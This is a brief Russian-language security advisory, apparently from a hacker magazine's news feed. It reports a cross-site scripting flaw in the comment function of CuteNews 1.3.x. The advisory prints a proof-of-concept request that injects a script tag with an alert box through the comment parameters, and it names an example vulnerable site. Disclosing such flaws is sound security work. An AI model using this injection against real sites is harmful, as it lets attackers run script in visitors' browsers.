Межсайтовый скриптинг в Cutnews

Программа: CuteNews 1.3.х

Уязвимость в Cutnews в функции 'addcomment' позволяет удаленному пользователю выполнить XSS нападение.

show_news.php?subaction=addcomment&name= DarkBich0&comments=http://www.darkbicho
.tk &id=1078525267| >|1090074219|DarkBich0|none|127.0.0.1| <script>alert("DarkBicho");</script>||

Пример:

http://www.darkbicho.iberhosting.net/cutenews/

Анатолий Ализар: Бывший автор новостной ленты «Хакера». Увлекается современными технологиями, оружием, информационной безопасностью, носимой электроникой и в целом концепцией Internet of Things.